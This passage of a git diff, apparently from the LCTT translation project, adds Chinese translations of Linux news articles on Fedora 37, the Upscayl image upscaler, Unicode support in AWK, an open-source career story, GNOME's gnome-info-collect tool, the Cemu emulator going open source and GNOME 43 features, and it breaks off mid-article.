https://itsfoss.com/list-usb-devices-linux/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/08/list-usb-with-lsusb-command-linux.png +[2]: https://itsfoss.com/wp-content/uploads/2022/08/nautilus-usb.png +[3]: https://itsfoss.com/partition-managers-linux/ +[4]: https://itsfoss.com/wp-content/uploads/2022/08/gnome-disks-usb.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/mount-cmd-usb.png +[6]: https://linuxhandbook.com/df-command/ +[7]: https://itsfoss.com/wp-content/uploads/2022/08/df-cmd-usb.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/blkid-cmd-usb.png +[9]: https://itsfoss.com/wp-content/uploads/2022/08/blkid-cmd-usb.png +[10]: https://itsfoss.com/wp-content/uploads/2022/08/fdisk-cmd-usb.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/proc-dir-usb.png +[12]: https://en.wikipedia.org/wiki/Greg_Kroah-Hartman +[13]: https://github.com/gregkh/usbutils +[14]: https://itsfoss.com/wp-content/uploads/2022/08/lsusb-cmd.png +[15]: https://itsfoss.com/wp-content/uploads/2022/08/usb-devices-cmd.png +[16]: https://github.com/gregkh/usbview +[17]: https://itsfoss.com/package-manager/ +[18]: https://itsfoss.com/wp-content/uploads/2022/08/usbview.png diff --git a/published/202208/20220823 Fedora 37- Top New Features and Release Wiki.md b/published/202208/20220823 Fedora 37- Top New Features and Release Wiki.md new file mode 100644 index 0000000000..9fdc153e12 --- /dev/null +++ b/published/202208/20220823 Fedora 37- Top New Features and Release Wiki.md @@ -0,0 +1,122 @@ +[#]: subject: "Fedora 37: Top New Features and Release Wiki" +[#]: via: "https://www.debugpoint.com/fedora-37/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14968-1.html" + +Fedora 37 新功能披露 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/26/000924lz0vl82vsq2zf0v7.jpg) + +> 关于 Fedora 37 及其新特性、发布细节等等。 + +Fedora 37 的开发工作已经结束,Beta 测试版即将来临。在这个阶段,Fedora 37 的功能和软件包已经最终确定。 + +在这篇常规的功能指南页面中,我总结了你应该知道的关于 Fedora 37 的基本功能,让你对预期的功能有一个概念。但是在这之前,先看看暂定的时间表: + +* 测试版的发布日期是 2022 年 9 月 13 日。后备日期是 2022 年 9 月 20 日。 +* Fedora 37 最终版计划于 2022 年 10 月 18 日发布。后备日期是 2022 年 10 月 25 日。 + +![Fedora 37 Workstation with GNOME 43][1] + +### Fedora 37 的主要新功能 + +#### 内核 + +首先是构成核心的关键项目。Fedora 37 采用了 Linux 内核 5.19,这是目前最新的主线内核。Linux 内核 5.19 带来了一些基本功能,比如修复了 Retbleed 漏洞、支持 ARM、支持苹果 M1 NVMe SSD 控制器以及许多此类功能,你可以在我们的 [内核功能指南][2] 中了解更多。 + +使用最新内核的好处是,你可以保证你使用的是此时此刻最新、最好的硬件支持。 + +其次,桌面环境在这个版本中得到了更新。 + +#### 桌面环境 + +Fedora 37 是第一个带来令人惊叹的 GNOME 43 桌面的发行版,它带来了一些优秀的功能,比如: + +* [重新改版后的快速设置功能][3],带有药片式按钮 +* 移植了 GTK4 和 libadwaita 的文件管理器 v43(nautilus) +* 带有橡皮筋、徽章、响应式侧边栏等功能的文件管理器 +* 更新了 GNOME Web,支持 WebExtension API + +还有许多你期待了多年的功能。请查看我的 [GNOME 43 功能指南][4] 以了解更多。 + +Fedora 37 带来了 KDE Plasma 5.26 桌面环境,包括大量的新功能、性能改进和错误修复。KDE Plasma 桌面最值得注意的功能包括: + +* 一个更新的概览屏幕 +* 深色和浅色主题的动态墙纸 +* 更新的 KDE 框架和应用程序 + +由于轻量级桌面 LXQt 更新了稳定版 1.1.0,它来到了 Fedora 37 中。LXQt 1.1.0 为深色主题带来了一个外观统一的默认调色板、应用程序菜单的两个变体(简单和紧凑)和重新排列的 GTK 设置。此外,LXQt 1.1.0 也开始了 Qt 6.0 桌面组件移植的初始工作。所有这些 bug 修复和增强功能都在 Fedora LXQt 版本中出现。 + +此外,其他主要的桌面版本由于没有重要的新的更新到来,仍然保持在当前版本,即 Xfce 4.16 和 MATE 1.24 用在各自的 Fedora 定制版中。 + +让我们看看这个版本中影响所有 Fedora 定制版的系统级变化是什么。 + +#### 系统级的变化 + +最重要的变化是对树莓派 4 的正式支持。得益于多年来的努力,你现在可以在最喜欢的树莓派上享受到开箱即用的 Fedora 37 了。 + +Fedora Linux 一直是推动技术发展的先锋,在其他发行版之前就采用了最新的功能。因此,现在在 KDE Plasma(和 Kinoite)和不同的定制版中,SDDM 显示管理器默认采用了 Wayland。这样,从 Fedora 发行版方面就完成了 Wayland 各个定制版的过渡。 + +正如我 [之前的报道][5],Fedora Linux 37 计划为我们提供 Anaconda 的网页安装程序的预览镜像。它可能不会在发布后立即可用,但它应该在发布后的几天内出现。 + +其他值得注意的功能包括将默认的主机名从 `fedora` 改为 `localhost`,以避免一些第三方系统配置检测问题。 + +除此之外,Fedora Core OS 被打造为 Fedora 官方版本,现在与服务器版、物联网版和云计算版同列,以便你可以更好地发现和采用它。最小资源占用的 Fedora Core OS 主要用于容器工作负载,并带来了自动更新和额外的功能。 + +遵循传统,这个版本也有一个 [全新的墙纸][6],有夜间和白天两个版本。我必须得说,它看起来很棒(见上面的桌面图片)。 + +最后,在这个版本中,Fedora 删除了 32 位的 Java 包,包括 JDK 8、11 和 17,因为使用率很低。此外,openssl 1.1 软件包也被弃用。 + +工具链、应用程序和编程栈更新如下: + +* Glibc 2.36 和 Binutils 2.38 +* Node.js 18.x +* Perl 5.36 +* Python 3.11 + +### Fedora 37 功能摘要 + +那么,这个版本的功能就到此为止了。下面是对 Fedora 37 功能的总结: + +* Linux 内核 5.19 +* GNOME 43 +* KDE Plasma 5.26 +* Xfce 4.16 +* MATE 1.24 +* LXQt 1.1.0 +* 新的基于网页的安装程序的预览镜像 +* SDDM 显示管理器默认采用 Wayland(在 KDE Plasma 和其他桌面环境中)。 +* 官方支持树莓派 4 +* Fedora Core OS 成为官方版本 +* 一些关键软件包放弃了 32 位支持 +* 还有相关的工具链和编程语言更新。 + +如果你有空闲时间,你可以 [体验一下][7]。虽然,它是非常不稳定的,不推荐运行测试版之前的开发版。 + +**那么,这个版本中你最喜欢的功能是什么?请在评论区告诉我**。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/fedora-37/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/Fedora-37-Workstation-with-GNOME-43-1024x572.jpg +[2]: https://www.debugpoint.com/linux-kernel-5-19/ +[3]: https://www.debugpoint.com/gnome-43-quick-settings/ +[4]: https://www.debugpoint.com/gnome-43/ +[5]: https://debugpointnews.com/fedora-37-anaconda-web-ui-installer/ +[6]: https://debugpointnews.com/fedora-37-wallpaper/ +[7]: https://dl.fedoraproject.org/pub/fedora/linux/development/37/Workstation/x86_64/iso/ diff --git a/published/202208/20220824 Linux-First AI Image Upscaler Upscayl Released its First Version.md b/published/202208/20220824 Linux-First AI Image Upscaler Upscayl Released its First Version.md new file mode 100644 index 0000000000..8f545093ac --- /dev/null +++ b/published/202208/20220824 Linux-First AI Image Upscaler Upscayl Released its First Version.md @@ -0,0 +1,96 @@ +[#]: subject: "Linux-First AI Image Upscaler Upscayl Released its First Version" +[#]: via: "https://news.itsfoss.com/upscayl-version-1-release/" +[#]: author: "Abhishek https://news.itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14976-1.html" + +Linux 优先的 AI 图像提升器 Upscayl 发布了第一个版本 +====== + +> 你不是每天都能遇到一个采用 “Linux 优先” 方式的应用程序。 + +![Linux-First AI Image Upscaler Upscayl Released its First Version][1] + +你是不是有一张世纪初的像素化、低分辨率的图片?由于人工智能的进步,你可以轻松地将像素化的图像提升为分辨率更好的图像。 + +使用普通的图像编辑器需要人工的努力来提升图像。 + +有大量的在线人工智能图像提升器,但是你不能信任它们对你的数据的处理。 + +一个新的项目试图解决这个问题,为你提供一个简单的桌面应用程序,让你在一次点击中增强低分辨率照片。 + +它的第一个版本已经发布。 + +### Upscayl 的功能 + +[Upscayl][2] 是一个跨平台的应用程序,以 Linux 优先的理念构建。 + +这仅仅意味着 Linux 的构建得到优先考虑,但其他平台也会得到支持。 + +Upscayl 使用 Python 和 JavaScript 开发,给出了一个简单的界面,你可以选择输入图片和输出文件夹,然后点击 “Upscayl” 按钮来增强图片。 + +### 使用 Upscayl + +我的电脑上没有太多模糊的照片。并不是说我是一个优秀的摄影师,只是懒得在成千上万的照片中寻找它们。 + +不过,我还是设法弄到了一张 2011 年的模糊的老照片(那是 11 年前的照片,现在可以说是老照片了)。 + +![厨房的模糊老照片][4] + +不要因为我随手拍了一张厨房柜台的照片而对我做出评价。一定有一个很好的理由(或者我觉得)。 + +无论如何。我试着用 Upscayl 对图片进行放大。 + +![使用 Upscayl][5] + +这需要相当大的处理能力,但我的 8 核、第 11 代 i7 处理器和 16GB 内存可以轻松应对。 + +![Upscayl 工作时 CPU 的使用情况][6] + +单张图片的处理花了大约 4 分钟,435KB 的图片最终变成了 24MB 的图片。说实话,我几乎没有注意到明显的差异。 + +![由 Upscayl 放大的图像][7] + +我想把最后的结果嵌入这里的文章中。但是上传一张 24MB 的图片对我的服务器和你的浏览器来说都有点过分。 + +### 安装 Upscayl + +不过,我这个不怎么成功的实验不应该阻止你自己去尝试它。 + +目前,该应用程序可用于 Linux。对 Windows 和 macOS 的支持正在计划中。 + +你可以得到 Upscayl 的 AppImage 和 Flatpak 软件包。我使用的是 AppImage 版本,你可以使用你喜欢的任何一种。 + +这些文件可以在发布页面上找到。 + +> **[下载 Upscayl][8]** + +如果你喜欢这个项目,别忘了在 GitHub 上给它加星。 + +> **[GitHub - TGS963/upscayl][9]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/upscayl-version-1-release/ + +作者:[Abhishek][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/upscayl-image-upscaler.png +[2]: https://github.com/TGS963/upscayl +[3]: https://news.itsfoss.com/content/media/2022/08/upscayl-in-action.mp4 +[4]: https://news.itsfoss.com/content/images/2022/08/old-blurry-photo.jpg +[5]: https://news.itsfoss.com/content/images/2022/08/Using-Upscayl-for-image-processing.png +[6]: https://news.itsfoss.com/content/images/2022/08/Upscayl-CPU-usage.png +[7]: https://news.itsfoss.com/content/images/2022/08/Upscayl-final-result.png +[8]: https://github.com/TGS963/upscayl/releases +[9]: https://github.com/TGS963/upscayl diff --git a/published/202208/20220824 The 80-Year Computer Scientist Who Termed -Unix- Adds Unicode Support to AWK Code.md b/published/202208/20220824 The 80-Year Computer Scientist Who Termed -Unix- Adds Unicode Support to AWK Code.md new file mode 100644 index 0000000000..3fe938363b --- /dev/null +++ b/published/202208/20220824 The 80-Year Computer Scientist Who Termed -Unix- Adds Unicode Support to AWK Code.md @@ -0,0 +1,69 @@ +[#]: subject: "The 80-Year Computer Scientist Who Termed 'Unix' Adds Unicode Support to AWK Code" +[#]: via: "https://news.itsfoss.com/unix-awk-unicode/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14964-1.html" + +80 高龄的计算机科学家曾为 “Unix” 命名,如今为 AWK 代码添加了 Unicode 支持 +====== + +> 布莱恩·克尼汉在 80 岁的时候还在积极为他的原始项目 AWK 增加代码贡献。这真是鼓舞人心! + +![这位 80 岁的计算机科学家曾提出 “Unix” 这一名字,在 AWK 代码中加入了 Unicode 支持][1] + +布莱恩·克尼汉Brian Kernighan 因其与 Unix 的创造者 肯·汤普森Ken Thompson丹尼斯·里奇Dennis Ritchie 一起的工作而广为人知。他对 Unix 的发展做出了重大贡献。 + +不仅如此,布莱恩·克尼汉还提出了 “Unix” 这个名字,并创造了 “Hello, world” 作为程序的测试短语。 + +他也是《C 编程语言》一书的共同作者(另一位是丹尼斯·里奇)。因此,可以说他是你所知道的关于 Unix、Linux、BSD 和 C 编程语言的演变的重要组成部分。 + +而且,作为一位如今已 80 岁的老人家,他似乎投入了一些时间来为 AWK(一种他在上世纪 70 年代共同创造的脚本语言)增加了一个新的功能。 + +💙 这真是妙极了,对吗?而且,听起真是鼓舞人心! + +注:AWK 仍然是一个处理文本和提取数据的强大工具,忠实于它的最初目的。如果你感到好奇,你可以在 [freeCodeCamp][2] 上了解更多关于它的信息。 + +### 为 AWK 添加 Unicode 支持 + +最近,[The Register][3] 通过一篇发表在 YouTube 上的近期采访,发现了这个功能的增加。 + +从技术上讲,这项贡献早在几个月前就有了,但现在它才得到人们的关注。 + +![和 Brian Kernighan 喝杯咖啡 - Computerphile][4] + +当然,这个功能的增加对很多人来说可能不是什么大事。但是,它背后的努力,以及谁贡献了它,就有了天壤之别。 + +此外,有趣的是,他并不完全了解 Git 的工作原理。所以,考虑到这一点,我认为他在这里的提交做得相当好。 + +在这个提交 “[附上 BWK 的邮件 - onetrueawk/awk@9ebe940][5]” 中,他提到: + +> 一旦我搞清楚了(并做了一些检查,我将尝试提交一个拉取请求。我希望我更了解 git,但尽管有你的帮助,我仍然没能正确地理解,所以这可能需要一段时间。 + +如果你对 Unix 的原始创造者和贡献者以及一路走来的许多重要创新有好奇心,我建议你观看上面链接的采访。 + +你也可以在 [普林斯顿大学网站][6] 上查看他的更多工作和最近的书籍。 + +💬 那么,你对这位 80 岁的 Unix 传奇人物的代码贡献有何看法?你有什么特别佩服他的地方吗?请在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/unix-awk-unicode/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/brian-awk-creator.jpg +[2]: https://www.freecodecamp.org/news/the-linux-awk-command-linux-and-unix-usage-syntax-examples/ +[3]: https://www.theregister.com/2022/08/23/universal_unix_tool_awk_gets/ +[4]: https://youtu.be/GNyQxXw_oMQ +[5]: https://github.com/onetrueawk/awk/commit/9ebe940cf3c652b0e373634d2aa4a00b8395b636 +[6]: https://www.cs.princeton.edu/~bwk/ diff --git a/published/202208/20220826 My open source journey from user to contributor to CTO.md b/published/202208/20220826 My open source journey from user to contributor to CTO.md new file mode 100644 index 0000000000..ed6df63300 --- /dev/null +++ b/published/202208/20220826 My open source journey from user to contributor to CTO.md @@ -0,0 +1,60 @@ +[#]: subject: "My open source journey from user to contributor to CTO" +[#]: via: "https://opensource.com/article/22/8/my-open-source-career-story" +[#]: author: "Jesse White https://opensource.com/users/jwhite-0" +[#]: collector: "lkxed" +[#]: translator: "aftermath0703" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14971-1.html" + +从用户到贡献者到 CTO 的开源之旅 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/27/154503q9yw0rewy2ge2r8f.jpg) + +> 任何考虑在开源领域发展的人都具有无限的可能性。下面是我的故事。 + +当人们问我最喜欢开源的什么时,我的回答很简单:那就是 *开放性* 。在开源中,社区开发者和贡献者所做的工作是在公共领域的,所有人都能看到并从中受益。我对这一理念爱不释手。 + +有多少人可以对他们的劳动成果这样说?有多少人,也许在 50 年后,可以回过头来说:“看看我那天写的代码,有几百/几千/几万人从中受益。”我觉得这比从事那些对世界上大多数人来说都是隐秘的软件工作更令人无比兴奋。 + +我很幸运,我的工作使我置身于一个开源和企业交叉的有趣领域中。如今,我是 [OpenNMS 集团][2] 的首席技术官,这家公司负责维护 [OpenNMS 项目][3]。OpenNMS 是一个领先的开源网络监控和管理平台。 + +虽然我现在的角色让我牢牢扎根于开源领域,但我是以用户和贡献者身份开始的。 + +2007 年,我得到了我的第一份真正的技术工作,在加拿大蒙特利尔的电信服务提供商 Datavalet 技术公司从事网络分析。在五年的时间内,我成长为解决方案架构师,任务是帮助公司选择网络管理解决方案。我们选择了 OpenNMS,正是通过这次经历,我认识到了开源的真正力量。 + +在平台上线时,我们发现了一些缺失的功能,这些功能将有助于优化我们的体验。一位来自 OpenNMS 集团的代表在现场帮助我们进行部署,并建议我参加社区即将举行的 DevJam,与核心开发人员一起建立我们需要的功能。 + +在 DevJam 期间,我很快就融入了团队和社区。我们卷起袖子,开始编码,以创建 Datavalet 所需的增强功能。在几天之内,这个附加的功能就准备好了。这是一次令人惊叹的变革性经历,让我真正看到了开源的力量。 + +一年后,我离职了,在康科迪亚大学全日制学习数学。正是在那里,我再次有机会与 OpenNMS 团队合作,这一次是在该年的谷歌代码之夏的一个项目上。在这个年度计划中,参与者的目标是成功完成开源软件开发项目。 + +代码之夏对我来说是一次改变职业生涯的经历。OpenNMS 的两位负责人参加了我们的项目演示,一年后,OpenNMS 团队邀请我作为一名全栈开发人员加入。 + +我努力工作,迅速晋升,并在 2015 年被任命为首席技术官。我认为这是一项个人成就,也再次验证了开源世界的特别之处。如果你喜欢与社区合作,热爱你所做的工作,你的贡献很快就会得到认可。 + +开源精神也影响了我从个人贡献者到首席技术官的发展,我现在领导着一个由 50 多人组成的产品开发团队。社区本质上是平等的,我与社区贡献者一起工作的经验教会了我如何在环境中领导,而不是控制。 + +我经历了一段奇妙的开源旅程,从用户到贡献者,再到一家开源公司的高管。开源方法超越了技术,因为专有开发环境中经常存在的障碍的进入和增长可以通过协作、透明和社区来克服。因此,对于任何考虑在开源领域工作的人来说,可能性是无限的。我就是证明。 + +我们生活在一个人们正在深刻审视自己的生活及其对世界的影响的时代。在开源公司工作特别有意义,因为我可以直接与用户社区互动并影响他们。终端用户和开发人员之间的经典屏障被打破了,我可以确切地看到我的工作如何改变人们的日常生活,或者激励人们为项目做出贡献。通过对一个项目的共同热爱来建立社区,建立持续一生的联系。 + +我知道这对我来说都是真实的,这也是为什么我对我的工作如此热情。我是一个彻头彻尾的开源极客,并以此为荣。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/my-open-source-career-story + +作者:[Jesse White][a] +选题:[lkxed][b] +译者:[aftermath0703](https://github.com/aftermath0703) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jwhite-0 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/career_journey_road_gps_path_map_520.png +[2]: https://www.opennms.com/ +[3]: https://www.opennms.com/ diff --git a/published/202208/20220826 Want to Help Improve GNOME- This New Tool Gives You the Chance!.md b/published/202208/20220826 Want to Help Improve GNOME- This New Tool Gives You the Chance!.md new file mode 100644 index 0000000000..f7bd0fdb5c --- /dev/null +++ b/published/202208/20220826 Want to Help Improve GNOME- This New Tool Gives You the Chance!.md @@ -0,0 +1,82 @@ +[#]: subject: "Want to Help Improve GNOME? This New Tool Gives You the Chance!" +[#]: via: "https://news.itsfoss.com/gnome-improve-tool/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14972-1.html" + +想帮助改善 GNOME 吗?这个新工具给了你这个机会! +====== + +> 这个新的工具,使 GNOME 用户能够提供他们的配置和使用意见,以帮助改善用户体验。 + +![想帮助改善 GNOME 吗? 这个新工具给了你机会!][1] + +GNOME 带来了一个工具,可以让用户匿名提供他们的配置、扩展和 GNOME 调整设置等方面的意见。 + +这应该有助于 GNOME 了解更多的用户偏好,并做出更好的增强用户体验的决定。 + +有趣的是,是红帽公司的一名实习生(Vojtech Stanek)创造了这个工具。 + +### GNOME 信息收集:准备好安装了吗? + +![gnome info collect terminal][2] + +该工具(`gnome-info-collect`)是一个简单的终端程序,你需要下载、安装并运行它来与 GNOME 分享数据。 + +以下是该工具需要从你的 GNOME 系统中收集的内容: + +* 硬件信息(包括制造商和型号)。 +* 系统设置(包括工作区配置、共享功能、SSH 等)。 +* 安装并启用的 GNOME shell 扩展。 +* 应用程序信息(如已安装的应用程序和收藏的应用程序)。 +* Linux 发行版和版本。 +* Flatpak 和 Flathub 状态。 +* 默认浏览器。 +* 机器 ID + 用户名的 [加盐哈希][3]。 + +你可以在其 [GitLab 页面][4] 上找到适合你的发行版的软件包和收集数据的更多细节。 + +如果你有一个基于 Ubuntu 的发行版,你可以通过输入以下内容来安装它: + +``` +sudo snap install --classic gnome-info-collect +``` + +安装完毕后,在终端使用以下命令将其启动: + +``` +gnome-info-collect +``` + +接下来,它会显示它打算与 GNOME 共享的数据。所以,如果你觉得没问题,你可以选择将数据上传到 GNOME 的服务器上。 + +![][5] + +考虑到这些数据是匿名的,它应该可以帮助 GNOME 了解他们的用户喜欢什么,并随着时间的推移专注于这些改进。 + +> **[下载 gnome-info-collect][6]** + +你对 GNOME 的这个新的数据收集工具有什么看法?请在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-improve-tool/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/gnome-improvement-tool.jpg +[2]: https://news.itsfoss.com/content/images/2022/08/gnome-info-collect-terminal.png +[3]: https://en.wikipedia.org/wiki/Salt_(cryptography) +[4]: https://gitlab.gnome.org/vstanek/gnome-info-collect/ +[5]: https://news.itsfoss.com/content/images/2022/08/gnome-info-collect-sharing.png +[6]: https://gitlab.gnome.org/vstanek/gnome-info-collect/ diff --git a/published/202208/20220826 Wii U Emulator Cemu Going Open Source Is Significant For Emulation, Here-s Why.md b/published/202208/20220826 Wii U Emulator Cemu Going Open Source Is Significant For Emulation, Here-s Why.md new file mode 100644 index 0000000000..64df83052b --- /dev/null +++ b/published/202208/20220826 Wii U Emulator Cemu Going Open Source Is Significant For Emulation, Here-s Why.md @@ -0,0 +1,39 @@ +[#]: subject: "Wii U Emulator Cemu Going Open Source Is Significant For Emulation, Here’s Why" +[#]: via: "https://www.opensourceforu.com/2022/08/wii-u-emulator-cemu-going-open-source-is-significant-for-emulation-heres-why/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14979-1.html" + +Wii U 模拟器 Cemu 走向开源对仿真技术意义重大 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/29/152146nvs93gzs720ftfy8.jpg) + +Wii U 模拟器 Cemu 的开发者上周二宣布了一个重要的 2.0 版本发布,首次交付了 Linux 上的二进制文件,并开源了他们八年的成果。Cemu 是一个 Wii U 模拟器,并于 2017 年创造了历史 —— 每个月可以通过 Patreon 获得支持其发展的数千美元赞助。Cemu 以其在 Patreon 上曾短暂达到 25,000 美元的最高收入而为人所知,这引起了人们对“仿真是否道德”的关注,特别是它被用来换取金钱,而项目却是“闭源的”而不是“开源”的 —— 也就是说源代码没有向公众开放。 + +仿真社区保护自己免受法律诉讼的主要方式之一是向公众提供其源代码,允许像任天堂这样的“诉讼公司”检查它,并验证在反向工程过程中没有使用他们的专有代码。 + +据 Exzap 称,Cemu 对 Linux 的支持“仍然相当粗糙”,但他相信随着更多的模拟器开发者熟悉 Cemu,并开始为该项目做出贡献,这种情况将迅速改变。Cemu 以前只兼容 Windows,但现在支持 Linux,可以在 Steam Deck 上快速安装。在 Cemu 引入 Flatpak 支持一键安装之前,在 Deck 上使用它并不那么简单,不过这个话题已经在 GitHub 上讨论过了。 + +Cemu 的作者利用 2.0 发布公告简要地讨论了该模拟器的历史;在该模拟器的大部分历史中,他们是唯一的开发者,他们声称过去两年对项目的压力特别大。 + +Exzap 将继续做出贡献,但预计拥有其他开发者将有助于创建几个重要的功能,如暂停和恢复仿真的能力,以及提高在旧硬件上的性能。 + +“我已经在 Cemu 上工作了近 8 年,看着这个项目从一个似乎不可行的实验,发展到在其高峰期有超过一百万人使用的东西,”Exzap 在上周二的公告中写道,“即使在今天,当 Wii U 已经被大部分人遗忘的时候,我们每个月仍然有 25 万次下载。仍然有这么多人在用 Cemu 享受 Wii U 游戏,我将永远感激让我有机会以积极的方式影响这么多人的生活,哪怕只是一丁点。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/wii-u-emulator-cemu-going-open-source-is-significant-for-emulation-heres-why/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202208/20220829 5 GNOME 43 Features to Keep an Eye On.md b/published/202208/20220829 5 GNOME 43 Features to Keep an Eye On.md new file mode 100644 index 0000000000..5678acff06 --- /dev/null +++ b/published/202208/20220829 5 GNOME 43 Features to Keep an Eye On.md @@ -0,0 +1,157 @@ +[#]: subject: "5 GNOME 43 Features to Keep an Eye On" +[#]: via: "https://news.itsfoss.com/gnome-43-features/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14985-1.html" + +5 个需要关注的 GNOME 43 功能 +====== + +> GNOME 43 即将到来。下面是你可以期待在该版本中出现的功能。 + +![5 个值得关注的 GNOME 43 功能][1] + +GNOME 43 将于 2022 年 9 月 21 日发布。截至目前,GNOME 43 的测试版已经可供测试。 + +我们在 GNOME 43 测试版中发现的功能和变化应该随着最终版本的发布而到来。 + +那么,哪些是你最值得期待的 GNOME 43 功能呢? + +让我们来看看一些关键的变化。 + +这个列表集中在视觉/交互式变化上。关于技术变化的完整列表,你可以参考文章底部链接的更新日志。 + +### 1、改造了快速设置 + +![GNOME 快速设置][2] + +GNOME 桌面菜单位于右上角,你可以在这里快速调整音量、访问网络连接,以及开/关电脑,在这个版本中它终于得到了视觉上的更新。 + +现在,它看起来更像是安卓的快速切换栏,这应该会增强用户体验,同时减少一些多余的点击。 + +![GNOME 快速设置][3] + +你不需要前往设置来打开深色模式和夜光。新的快速切换菜单就可以让你可以访问到它们。 + +此外,像选择 Wi-Fi 网络和改变音频设备这样的事情比以前更容易做到。 + +### 2、对 Nautilus 文件管理器的改变 + +虽然我们已经在之前的报道中提到了 GNOME 43 中对 Nautilus 最重要的改变。 + +> **[GNOME 43 中 Nautilus 文件管理器的 6 个新变化][4]** + +有几件事值得再次重申。其中一些包括: + +* 使用 GTK 4 的全新外观。 +* 拖动和选择文件的能力(橡皮筋选择)。 +* 紧凑窗口的自适应视图。 +* 新的文件上下文菜单。 + +![Nautilus 文件管理器][6] + +总的来说,在 GNOME 43 中,你会发现 Nautilus 文件管理器有了一些视觉上的调整,并有动画的细微改进。 + +你可以点击每一个选项,访问目录的属性等等来探索其中的差异。它应该感觉更直观一些。 + +### 3、设备安全信息 + +![][7] + +我们之前报道过 GNOME 会在你禁用安全启动时显示警告。 + +> **[安全启动已被禁用? GNOME将很快向您发出警告!][8]** + +你会在你的闪屏和锁屏中看到这个警告。 + +GNOME 的设置菜单也有一个新的 “设备安全” 选项,在这里你可以看到安全启动状态和其他重要信息,比如: + +* TPM +* 英特尔 BootGuard +* IOMMU 保护 + +### 4、GNOME Web 的扩展支持 + +![GNOME Web 扩展][10] + +GNOME Web 在每次更新都会变得更好一些。有了 Web 扩展的支持,它成为了一个有吸引力的选择,可以取代你的日常使用的浏览器。 + +> **[有了扩展,GNOME Web 正慢慢成为桌面 Linux 上一个有吸引力的选择][11]** + +在写这篇文章的时候,该支持仍然是 **实验性的**,你必须得手动安装扩展。 + +对于初学者来说,你可以在 Mozilla Firefox 附加组件门户上下载 .xpi 扩展文件。 + +### 5、GNOME 软件中心的改进 + +GNOME 的软件中心目前的体验并不是很好。 + +虽然它在提供额外信息方面有所改进,但仍有改进的余地。 + +![GNOME 软件][13] + +在 